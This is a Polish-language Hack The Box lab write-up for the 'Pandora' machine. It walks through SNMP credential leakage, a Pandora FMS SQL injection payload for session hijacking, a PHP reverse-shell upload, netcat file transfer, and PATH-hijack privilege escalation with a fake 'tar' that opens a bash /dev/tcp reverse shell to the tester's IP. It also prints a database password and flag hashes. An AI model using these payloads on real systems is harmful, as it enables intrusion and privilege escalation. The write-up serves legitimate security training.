Pandora - 02.02.2022
Adres IP Pandora: 10.10.11.136
Adres IP mojego Linuxa: 10.10.14.224
NMap
┌──(kali㉿kali)-[~/htb/pandora]
└─$ nmap -sC -sV panda.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-30 21:57 CET
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.089s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
| 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.06 seconds
FeroxBuster oraz Nikto nie wykazały niczego wartego uwagi.
Strona główna
Na stronie dostrzegam Panda.HTB
, zatem dodaję odpowiedni wpis 10.10.11.136 panda.htb
do /etc/hosts
.
BurpSuite
Na stronie jest aktywny formularz.
Próbowałem różnych sposobów, ale bez skutku.
Postanowiłem sprawdzić jeszcze porty UDP.
Nmap UDP
┌──(kali㉿kali)-[~/htb/pandora]
└─$ sudo nmap -sU 10.10.11.136 1 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-31 01:34 CET
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 0.80% done
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 1.73% done; ETC: 01:38 (0:03:47 remaining)
Stats: 0:02:51 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 17.74% done; ETC: 01:50 (0:13:18 remaining)
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.054s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
161/udp open|filtered snmp
Mamy otwarty port 161.
Ukryty port 161 - SNMP
Narzędziem snmp-check
można przeprowadzić enumerację usługi SNMP. Tutaj między wieloma linijkami dostrzegłem coś nietypowego.
┌──(kali㉿kali)-[~/htb/pandora]
└─$ snmp-check 10.10.11.136 -c public
...
843 runnable sh /bin/sh -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
...
Mamy potencjalne dane logowania:
daniel:HotelBabylon23
Udało mi się zalogować z użyciem tych danych.
ssh daniel@10.10.11.136
HotelBabylon23
Drugi user - matt
Na maszynie jest również drugi user i to na niego należy się dostać, aby odczytać flagę user.txt
Analizując od wewnątrz skryptem linpeas.sh
znalazłem sporo wektorów:
- Folder z prawami dla użytkownika
matt
/var/www/pandora
- Podejrzany SUID?
-rwsr-x--- 1 root matt 17K Dec 3 15:58 /usr/bin/pandora_backup (Unknown SUID binary)
- Plik api.php - możliwe, że istnieje jakieś API.
Wygląda na to, że to Pandora FMS
(oprogramowanie do monitorowania sieci komputerowych).
Dostęp do pliku konfiguracyjnego config.php
jest zablokowany.
daniel@pandora:/var/www/pandora/pandora_console/include$ cat config.php
cat: config.php: Permission denied
Po małym researchu w Google znalazłem adres na API:
http://127.0.0.1/pandora_console/include/api.php
Sprawdzam prostym zapytaniem curl
działanie API.
curl "http://127.0.0.1/pandora_console/include/api.php?op=get&op2=plugins&return_type=csv&other=;&apipass=1234&user=admin&pass=pandora"
Po takim wywołaniu otrzymuję auth error
, czyli API odpowiada.
Chisel
Tutaj pomocne będzie narzędzie Chisel, które pozwoli na działanie na naszej przeglądarce mimo, że cała infrastruktura Pandory jest na wewnętrznej sieci maszyny.
Ustawiam serwer na moim Linuxie, który nasłuchuje na porcie 8001:
chisel server --reverse -p 8001
Klienta ustawiam na Pandorze na użytkowniku matt
:
./chisel client 10.10.14.224:8001 R:8000:127.0.0.1:80
Czyli łączę się po 10.10.14.224
z moim Linuxem na porcie 8001, a następnie przekierowuję ruch na port 8000
a 127.0.0.1:80
to adres na który chcę się dostać.
I tym sposobem otrzymuję panel logowania. Teraz mogę przystąpić do prób łamania.
Jak się okazuje, jest to wersja v7.0NG.742_FIX_PERL2020
. Szybki research daje nadzieje na jakieś podatności.
Jest RCE, potrzebujemy jeszcze użytkownika i hasło https://www.exploit-db.com/exploits/47898
Próbowałem różnych kombinacji jeżeli chodzi o panel logowania, ale nic nie działało. Natomiast, gdy spróbowałem kombinację daniel:HotelBabylon23
, którą użyliśmy do logowania na SSH, pojawił się inny komunikat.
Komunikat przy “zwykłej” kombinacji:
Komunikat po daniel:HotelBabylon23
:
Ok, tutaj bardzo pomocny okazał się wpis na pewnym blogu. https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained
Największą luką w tej Pandorze jest SQL Injection (pre authentication) (CVE-2021-32099)
i po chwili researchu znalazłem z jakiegoś powodu usuniętego exploita na Githubie. Poradziłem sobie przez Google Cache.
Exploit
┌──(kali㉿kali)-[~/htb/pandora]
└─$ curl -d "session_id=666' UNION SELECT 1,2,data FROM tsessions_php WHERE data LIKE '%matt%' -- xxx" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: PHPSESSID=mk92cuv4lllsta4b2stc4ak21k" -X POST http://127.0.0.1:8000/pandora_console/include/chart_generator.php
Odpowiedź:
<!DOCTYPE>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Pandora FMS Graph ( - )</title>
<link rel="stylesheet" href="styles/pandora.css" type="text/css" />
<link rel="stylesheet" href="styles/pandora_minimal.css" type="text/css" />
<link rel="stylesheet" href="styles/js/jquery-ui.min.css" type="text/css" />
<link rel="stylesheet" href="styles/js/jquery-ui_custom.css" type="text/css" />
<script language="javascript" type='text/javascript' src='javascript/pandora.js'></script>
<script language="javascript" type='text/javascript' src='javascript/jquery-3.3.1.min.js'></script>
<script language="javascript" type='text/javascript' src='javascript/jquery.pandora.js'></script>
<script language="javascript" type='text/javascript' src='javascript/jquery-ui.min.js'></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.min.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.time.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.pie.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.crosshair.min.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.stack.min.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.selection.min.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.resize.min.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.threshold.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.threshold.multiple.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.symbol.min.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.exportdata.pandora.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/jquery.flot.axislabels.js"></script>
<script language="javascript" type="text/javascript" src="graphs/flot/pandora.flot.js"></script>
</head>
<body bgcolor="#ffffff" style='background:#ffffff;'>
<div></div> <script type="text/javascript">
$('document').ready(function () {
setTimeout(function () {
try {
var status = window.callPhantom({ status: "loaded" });
} catch (error) {
console.log("CALLBACK ERROR", error.message)
}
}, 100);
});
</script>
</body>
</html>
Odpowiedź wskazuję na powodzenie exploitu, po wklejeniu id ciasteczka do przeglądarki mk92cuv4lllsta4b2stc4ak21k
, otrzymałem zalogowany panel Pandory.
Pandora FMS Graph ( - )
Pandora FMS v7.0NG.742_FIX_PERL2020 - Build PC200103 - MR 34
W tym momencie znalazłem kolejny link do Githuba z możliwością wykorzystania błędu z SQL Injection.
https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated/blob/master/sqlpwn.py
Payload:
http://127.0.0.1:8000/pandora_console/include/chart_generator.php?session_id=' union SELECT 1,2,'id_usuario|s:5:"admin";' as data -- SgGO
I w tym momencie mamy dostęp do konta admina.
Próbowałem wrzucić reverse-shell.php bezpośrednio na serwer, ale modyfikując pewne parametry w BurpSuite
, ale nic nie chciało zadziałać. Wspomogłem się filmikiem, na którym jest przedstawiony podobny problem. Tutaj użytkownik spakował shell.php do zipa i taki plik wrzucił na serwer. Ten przyjął zipa i wypakował go do ścieżki http://127.0.0.1:8000/pandora_console/extensions/
https://www.youtube.com/watch?v=KX_jZsdgsJE
Po uruchomieniu pliku na serwerze.
Dostałem przekierowanie. W taki sposób otrzymałem shella na użytkowniku matt
.
user.txt
3ad61bc0b475100ae5f2de64e3229de3
Wylistowałem również plik config.php
, który wcześniej był niedostępny z nadzieją, że hasło, które się tutaj znajduje to również hasło na użytkownika matt
, jednak tak nie było.
cat config.php
<?php
// File generated by centos kickstart
$config["dbtype"] = "mysql";
$config["dbname"]="pandora";
$config["dbuser"]="pandora";
$config["dbpass"]="PandoraFMSSecurePass2021";
$config["dbhost"]="localhost";
$config["homedir"]="/var/www/pandora/pandora_console";
$config["homeurl"]="/pandora_console";
error_reporting(0);
$ownDir = dirname(__FILE__) . '/';
include ($ownDir . "config_process.php");
?>
Privilege Escalation
Po uruchomieniu skryptu Linpeas
ponownie zauważyłem podejrzany SUID.
matt - SSH
Niestety nie mogłem go uruchomić tak po prostu. Potrzebowałem bardziej stablinego shella np. poprzez SSH. Dodałem swój klucz publiczny SSH na maszynę na użytkownika matt
, dzięki czemu mogłem dalej spokojnie pracować. Poniżej kod, którym to zrobiłem:
mkdir .ssh
chmod 700 .ssh
cd .ssh
echo "ssh-rsa PUBLIC KEY ..." >> authorized_keys
chmod 600 authorized_keys
ssh matt@panda.htb
Przesłałem sobie również plik pandora_backup
poleceniem netcat -l 1234 > pandora
(u mnie) oraz netcat -w 2 10.10.14.224 1234 < pandora_backups
(na maszynie HTB). Przeanalizowałem plik poprzez strings
.
Widać, że program pakuje wszystkie pliki z folderu pandora_console
do .backup
. Na tym etapie próbowałem eskalacji poprzez tricki z wildcardem. Niestety nie udało mi się to, po dłuższym googlowaniu okazało się, że mogę wykorzystać zmienną $PATH
.
$PATH Privileges Escalation
Oryginalna zmienna $PATH jest taka:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
I teraz skoro w skrypcie powyżej mamy tar
,który jest wykonywany z uprawnieniami roota, możemy to wykorzystać tworząc swoją wersję binarki tar
.
W folderze domowym stworzyłem plik tar
.
vim tar
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.224/4444 0>&1
Następnie nadpisałem zmienną $PATH, dzięki czemu najpierw uruchomi się tar
znajdujący się w lokalizacji /home/matt
a nie /usr/bin
.
export PATH=/home/matt:$PATH
cat $PATH
/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
Teraz po uruchomieniu pliku:
matt@pandora:/usr/bin$ ./pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
Otrzymałem połączenie w drugim oknie.
root.txt
633258941d13876030f539c90c7322d0